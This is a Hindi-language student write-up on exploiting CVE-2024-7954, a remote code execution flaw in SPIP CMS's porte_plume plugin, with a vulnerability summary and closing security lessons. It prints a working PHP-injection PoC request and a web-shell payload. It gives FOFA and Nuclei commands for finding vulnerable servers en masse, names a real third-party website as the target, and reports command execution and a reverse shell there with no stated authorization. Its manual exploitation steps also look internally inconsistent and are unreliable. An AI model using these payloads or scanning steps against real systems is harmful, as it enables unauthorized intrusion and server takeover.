रिमोट कोड निष्पादन भेद्यता (CVE-2024-7954) का शोषण

सॉफ्टवेयर भेद्यता परीक्षण परियोजना प्रस्तुतकर्ता: शिवांश कुंतल

अवलोकन

यह परियोजना CVE-2024-7954 के शोषण का प्रदर्शन करती है, जो SPIP CMS को इसके porte_plume प्लगइन के माध्यम से प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। यह भेद्यता अप्रमाणित हमलावरों को क्राफ्टेड HTTP POST अनुरोधों के माध्यम से लक्ष्य सर्वर पर मनमाना PHP कोड निष्पादित करने की अनुमति देती है।

परीक्षण एक नियंत्रित स्थानीय वातावरण में किया गया और बाद में FOFA और Nuclei का उपयोग करके वास्तविक दुनिया की टोह लेने के लिए विस्तारित किया गया।

1. वातावरण सेटअप

SPIP CMS का एक भेद्य संस्करण, जो CVE-2024-7954 से प्रभावित होने की पुष्टि की गई है, को GitHub रिपॉजिटरी का उपयोग करके स्थानीय रूप से Apache सर्वर पर तैनात किया गया, जो ज्ञात-भेद्य रिलीज़ होस्ट करता है।

उपयोग किए गए उपकरण

• Burp Suite (HTTP अनुरोधों को इंटरसेप्ट और संशोधित करना)
• Apache Web Server
• FOFA Search Engine
• Nuclei Vulnerability Scanner
• curl (CLI शोषण)

localhost पर चल रहा SPIP होमपेज सफल स्थापना को मान्य करता है और शोषण के लक्ष्य के रूप में कार्य करता है।

2. भेद्यता विवरण

porte_plume प्लगइन (संस्करण 4.30-alpha2, 4.2.13, 4.1.16 से पहले) उपयोगकर्ता द्वारा प्रदान किए गए इनपुट के अपर्याप्त स्वच्छता के कारण भेद्य है। हमलावर विशिष्ट फॉर्म फ़ील्ड में PHP कोड इंजेक्ट कर सकते हैं जो बाद में सर्वर द्वारा रेंडर और निष्पादित किया जाता है।

प्रभाव: अप्रमाणित रिमोट कोड निष्पादन गंभीरता: गंभीर हमला वेक्टर: नेटवर्क / HTTP POST

3. प्रूफ ऑफ कॉन्सेप्ट (PoC)

दुर्भावनापूर्ण POST अनुरोध

POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

नोट्स

• PHP कोड मार्कडाउन फ़ॉर्मेटिंग इंजन के अंदर इंजेक्ट किया जाता है।
• सर्वर पर SPIP उपयोगकर्ता के रूप में निष्पादित होता है।
• हमले के लिए कोई प्रमाणीकरण आवश्यक नहीं है।

4. FOFA टोही

सार्वजनिक SPIP इंस्टॉलेशन की गणना करने के लिए FOFA क्वेरी का उपयोग किया गया:

app="SPIP"

FOFA ने कई मेटाडेटा बिंदु लौटाए:

• HTTP हेडर
• शीर्षक
• IP पते और भू-स्थान
• सर्वर टेक्नोलॉजी स्टैक

टोही मूल्य

1. लक्ष्य गणना: पहुंच योग्य SPIP CMS सर्वरों की पहचान करें।
2. संस्करण फिंगरप्रिंटिंग: निर्धारित करें कि क्या भेद्य प्लगइन संस्करण सक्रिय हैं।
3. प्राथमिकता: संभावित शोषण योग्य सिस्टम का चयन करें।
4. शोषण सत्यापन: नियंत्रित पेलोड का उपयोग करके एंडपॉइंट को मान्य करें।
5. स्वचालन: बैच स्कैनिंग के लिए FOFA परिणामों को targets.txt में निर्यात करें।

पहचान किया गया एक उपयुक्त वास्तविक दुनिया का होस्ट:

http://www.comite-tricolore.org/

5. Nuclei के साथ स्वचालित स्कैनिंग

उद्देश्य

चूंकि मैन्युअल शोषण धीमा है, इसलिए Nuclei का उपयोग बड़े लक्ष्य सेट पर CVE-2024-7954 का पता लगाने को स्वचालित करने के लिए किया गया।

कमांड (कस्टम टेम्पलेट)

nuclei -l targets.txt -t CVE-2024-7954.yaml

• -l targets.txt FOFA परिणाम लोड करता है
• -t कस्टम PoC टेम्पलेट लोड करता है

नोट: प्रारंभिक टेम्पलेट ने कोई मिलान नहीं लौटाया।

व्यापक CVE स्कैन

nuclei -l targets.txt -t cves/

इस स्कैन ने एक प्रतिक्रियाशील लक्ष्य की पहचान की:

http://www.comite-tricolore.org/

6. मैन्युअल सत्यापन और शोषण

चरण 1 — भेद्य एंडपॉइंट का निरीक्षण करें

यहां जाएं:

http://www.comite-tricolore.org/spip.php?page=contact

पुष्टि की:

• नाम, ईमेल, संदेश के लिए इनपुट फ़ील्ड
• पेलोड इंजेक्शन के लिए उपयुक्त POST अनुरोध हैंडलर

चरण 2 — PHP पेलोड इंजेक्ट करें

Burp Suite या curl का उपयोग करके, message पैरामीटर को संशोधित करें:

पेलोड

<?php system($_GET['cmd']); ?>

चरण 3 — कमांड निष्पादन ट्रिगर करें

यहां जाएं:

http://www.comite-tricolore.org/spip.php?page=contact&cmd=id

या curl का उपयोग करें:

curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"

आउटपुट ने रिमोट कमांड निष्पादन की पुष्टि की।

चरण 4 — रिवर्स शेल (अंतिम पहुंच)

एक क्राफ्टेड पेलोड रिवर्स शेल कॉलबैक को सक्षम करता है, जिससे अनुमति मिलती है:

• whoami
• ls
• पूर्ण इंटरैक्टिव शेल पहुंच

7. महत्वपूर्ण अवलोकन

• अप्रमाणित शोषण गंभीरता को नाटकीय रूप से बढ़ाता है।
• प्लगइन में इनपुट स्वच्छता विफलता मुख्य मुद्दा है।
• एक बार PHP इंजेक्ट और रेंडर हो जाने के बाद, पूर्ण सर्वर समझौता संभव है।
• रिवर्स शेल → संभावित विशेषाधिकार वृद्धि → सर्वर अधिग्रहण।
• curl, Python स्क्रिप्ट या Nuclei के साथ हमला स्वचालित करना आसान है।

8. निष्कर्ष

यह परियोजना CVE-2024-7954 के लिए टोही से लेकर इंटरैक्टिव शेल प्राप्त करने तक की पूर्ण शोषण श्रृंखला का प्रदर्शन करती है।

शोषण पथ

1. टोही (FOFA)
2. स्वचालित स्कैनिंग (Nuclei)
3. मैन्युअल पेलोड इंजेक्शन
4. सत्यापित कोड निष्पादन
5. रिवर्स शेल पहुंच

सुरक्षा सबक

• सभी उपयोगकर्ता-नियंत्रित डेटा के लिए सख्त इनपुट सत्यापन अनिवार्य है।
• प्लगइन्स को सुरक्षित कोडिंग प्रथाओं का पालन करना चाहिए।
• संगठनों को तुरंत सुरक्षा पैच लागू करना चाहिए।
• RCE हमलों को रोकने के लिए नियमित भेद्यता मूल्यांकन आवश्यक है।

यह भेद्यता इस बात पर प्रकाश डालती है कि एक प्रतीत होने वाला हानिरहित टेक्स्ट फ़ॉर्मेटिंग प्लगइन, जब अनुचित रूप से सुरक्षित हो, तो एक पूर्ण सिस्टम समझौता कैसे बना सकता है।